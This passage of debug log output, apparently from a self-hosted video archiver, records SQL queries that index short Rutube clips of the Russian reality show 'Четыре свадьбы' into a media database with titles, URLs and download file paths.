"https://rutube.ru/video/737617aa91853fc5bf89c06b3c725a3a/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - Конкурс с ящиком.mp4", false, 1, ~U[2019-07-03 14:41:26Z]] 14:36:14.818 [debug] QUERY OK source="sources" db=10.2ms queue=0.1ms idle=44.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.820 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=28.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-17 13:57:47Z], 1] 14:36:14.835 [debug] QUERY OK source="media_items" db=13.6ms idle=28.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ах, эта свадьба...", "40e170cf-6893-4c74-a4d1-5c25614e5505", "78f692e622bfbaba36c133eaa872350c", 20, false, "https://rutube.ru/video/78f692e622bfbaba36c133eaa872350c/", 12, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Ах, эта свадьба....mp4", false, false, false, 1, [], 3, ~U[2018-10-17 13:57:47Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Ах, эта свадьба...", "78f692e622bfbaba36c133eaa872350c", 20, false, "https://rutube.ru/video/78f692e622bfbaba36c133eaa872350c/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Ах, эта свадьба....mp4", false, 1, ~U[2018-10-17 13:57:47Z]] 14:36:14.837 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=41.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.838 [debug] QUERY OK source="media_items" db=0.5ms idle=31.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-08 19:28:03Z], 1] 14:36:14.862 [debug] QUERY OK source="media_items" db=23.6ms queue=0.1ms idle=20.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Роскошная VS деревенская", "098bf0cf-659a-4a27-a503-a8edeb79a1b1", "7921e92bf839ad16e2cce38637e30a1c", 25, false, "https://rutube.ru/video/7921e92bf839ad16e2cce38637e30a1c/", 13, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080800 - Роскошная VS деревенская.mp4", false, false, false, 1, [], 1, ~U[2019-08-08 19:28:03Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Роскошная VS деревенская", "7921e92bf839ad16e2cce38637e30a1c", 25, false, "https://rutube.ru/video/7921e92bf839ad16e2cce38637e30a1c/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080800 - Роскошная VS деревенская.mp4", false, 1, ~U[2019-08-08 19:28:03Z]] 14:36:14.865 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=43.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.867 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=31.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-16 12:50:58Z], 1] 14:36:14.890 [debug] QUERY OK source="media_items" db=22.9ms idle=30.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Песня", "81aad2f1-b645-42a5-ae73-7dbc7cc00195", "8e2e85050e350e5335a61be805b39c97", 25, false, "https://rutube.ru/video/8e2e85050e350e5335a61be805b39c97/", 14, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Песня.mp4", false, false, false, 1, [], 3, ~U[2018-10-16 12:50:58Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Песня", "8e2e85050e350e5335a61be805b39c97", 25, false, "https://rutube.ru/video/8e2e85050e350e5335a61be805b39c97/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Песня.mp4", false, 1, ~U[2018-10-16 12:50:58Z]] 14:36:14.893 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=52.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.895 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=31.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-08 13:44:58Z], 1] 14:36:14.919 [debug] QUERY OK source="media_items" db=23.3ms idle=30.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Вторник 19:00", "5d6745e2-173a-43cc-96f8-0d7d5f30b253", "9576be228080abb268616740e6857e69", 25, false, "https://rutube.ru/video/9576be228080abb268616740e6857e69/", 15, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110800 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-11-08 13:44:58Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Четыре свадьбы. Премьера. Вторник 19:00", "9576be228080abb268616740e6857e69", 25, false, "https://rutube.ru/video/9576be228080abb268616740e6857e69/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110800 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-11-08 13:44:58Z]] 14:36:14.922 [debug] QUERY OK source="sources" db=1.7ms idle=53.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.923 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=32.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-17 13:48:08Z], 1] 14:36:14.952 [debug] QUERY OK source="media_items" db=27.5ms idle=30.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["На девочку", "c944a0b0-93ef-4d9c-8b4a-7b5bd79ac0ca", "991def9b4d1aa26a2f29f5a600fc2fbe", 35, false, "https://rutube.ru/video/991def9b4d1aa26a2f29f5a600fc2fbe/", 16, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - На девочку.mp4", false, false, false, 1, [], 3, ~U[2018-10-17 13:48:08Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "На девочку", "991def9b4d1aa26a2f29f5a600fc2fbe", 35, false, "https://rutube.ru/video/991def9b4d1aa26a2f29f5a600fc2fbe/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - На девочку.mp4", false, 1, ~U[2018-10-17 13:48:08Z]] 14:36:14.956 [debug] QUERY OK source="sources" db=2.8ms idle=58.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.956 [debug] QUERY OK source="media_items" db=0.4ms idle=37.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-16 13:27:26Z], 1] 14:36:14.979 [debug] QUERY OK source="media_items" db=22.4ms idle=35.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный коктейль", "3a17d4ca-6f75-47c6-8cc5-36956af52bcb", "b85709320bd7d3c0bfde1da4a6e9f067", 30, false, "https://rutube.ru/video/b85709320bd7d3c0bfde1da4a6e9f067/", 17, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Свадебный коктейль.mp4", false, false, false, 1, [], 3, ~U[2018-10-16 13:27:26Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Свадебный коктейль", "b85709320bd7d3c0bfde1da4a6e9f067", 30, false, "https://rutube.ru/video/b85709320bd7d3c0bfde1da4a6e9f067/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Свадебный коктейль.mp4", false, 1, ~U[2018-10-16 13:27:26Z]] 14:36:14.982 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=56.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.983 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=30.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-05-24 19:30:33Z], 1] 14:36:15.008 [debug] QUERY OK source="media_items" db=23.9ms idle=28.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Самое оженительное шоу на Пятнице", "f26eb5ca-6917-4cf6-aa71-22c9e0678626", "bf4eb4803cf4a0b00497302d792a83c1", 35, false, "https://rutube.ru/video/bf4eb4803cf4a0b00497302d792a83c1/", 18, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e052400 - Самое оженительное шоу на Пятнице.mp4", false, false, false, 1, [], 1, ~U[2019-05-24 19:30:33Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Самое оженительное шоу на Пятнице", "bf4eb4803cf4a0b00497302d792a83c1", 35, false, "https://rutube.ru/video/bf4eb4803cf4a0b00497302d792a83c1/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e052400 - Самое оженительное шоу на Пятнице.mp4", false, 1, ~U[2019-05-24 19:30:33Z]] 14:36:15.011 [debug] QUERY OK source="sources" db=2.2ms idle=52.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.012 [debug] QUERY OK source="media_items" db=0.3ms idle=32.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-25 13:37:37Z], 1] 14:36:15.035 [debug] QUERY OK source="media_items" db=22.3ms idle=30.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Самое сердечное реалити. Премьера. Вторник 19:00", "ce01c12e-f32b-4cd9-9a87-29cc825856a6", "def0dcb7ade5cdb9bf28912ca11c50cd", 15, false, "https://rutube.ru/video/def0dcb7ade5cdb9bf28912ca11c50cd/", 19, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e102500 - Самое сердечное реалити. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-10-25 13:37:37Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Самое сердечное реалити. Премьера. Вторник 19:00", "def0dcb7ade5cdb9bf28912ca11c50cd", 15, false, "https://rutube.ru/video/def0dcb7ade5cdb9bf28912ca11c50cd/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e102500 - Самое сердечное реалити. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-10-25 13:37:37Z]] 14:36:15.038 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=52.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.039 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=30.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-02 20:14:48Z], 1] 14:36:15.069 [debug] QUERY OK source="media_items" db=28.7ms idle=28.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Самая веселая свадьба", "53e6959b-ccf5-4401-a3da-177338f15540", "e3597f2bf183ab6bb54a5b9c7da25f80", 35, false, "https://rutube.ru/video/e3597f2bf183ab6bb54a5b9c7da25f80/", 20, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070200 - Самая веселая свадьба.mp4", false, false, false, 1, [], 1, ~U[2019-07-02 20:14:48Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Самая веселая свадьба", "e3597f2bf183ab6bb54a5b9c7da25f80", 35, false, "https://rutube.ru/video/e3597f2bf183ab6bb54a5b9c7da25f80/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070200 - Самая веселая свадьба.mp4", false, 1, ~U[2019-07-02 20:14:48Z]] 14:36:15.074 [debug] QUERY OK source="sources" db=4.4ms queue=0.2ms idle=57.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.077 [debug] QUERY OK source="media_items" db=1.3ms idle=39.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-15 15:01:43Z], 1] 14:36:15.091 [debug] QUERY OK source="media_items" db=13.4ms idle=39.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Вторник 19:00", "73564b58-c085-4254-99af-6cd708b2a47f", "e616356d72433f467250e679c4cfba65", 25, false, "https://rutube.ru/video/e616356d72433f467250e679c4cfba65/", 21, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e111500 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-11-15 15:01:43Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы. Премьера. Вторник 19:00", "e616356d72433f467250e679c4cfba65", 25, false, "https://rutube.ru/video/e616356d72433f467250e679c4cfba65/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e111500 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-11-15 15:01:43Z]] 14:36:15.105 [debug] QUERY OK source="sources" db=12.8ms idle=53.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.106 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=37.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-27 17:57:55Z], 1] 14:36:15.132 [debug] QUERY OK source="media_items" db=23.9ms idle=33.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадьба в стиле Кубы", "e8df4c6a-be5a-4ea0-b675-56e4be47c267", "e9a92485716264056bb5b1b8985c6407", 25, false, "https://rutube.ru/video/e9a92485716264056bb5b1b8985c6407/", 22, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e062700 - Свадьба в стиле Кубы.mp4", false, false, false, 1, [], 1, ~U[2019-06-27 17:57:55Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Свадьба в стиле Кубы", "e9a92485716264056bb5b1b8985c6407", 25, false, "https://rutube.ru/video/e9a92485716264056bb5b1b8985c6407/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e062700 - Свадьба в стиле Кубы.mp4", false, 1, ~U[2019-06-27 17:57:55Z]] 14:36:15.134 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=56.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.136 [debug] QUERY OK source="media_items" db=0.5ms idle=43.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-09-17 13:23:48Z], 1] 14:36:15.158 [debug] QUERY OK source="media_items" db=21.4ms idle=31.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Кто победит в войне невест?", "07da965f-c221-49ef-9995-17ecc1bb588c", "eab627405b77b1cc9af08a81c753d535", 40, false, "https://rutube.ru/video/eab627405b77b1cc9af08a81c753d535/", 23, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e091700 - Кто победит в войне невест?.mp4", false, false, false, 1, [], 1, ~U[2019-09-17 13:23:48Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Кто победит в войне невест?", "eab627405b77b1cc9af08a81c753d535", 40, false, "https://rutube.ru/video/eab627405b77b1cc9af08a81c753d535/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e091700 - Кто победит в войне невест?.mp4", false, 1, ~U[2019-09-17 13:23:48Z]] 14:36:15.170 [debug] QUERY OK source="sources" db=11.1ms queue=0.1ms idle=52.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 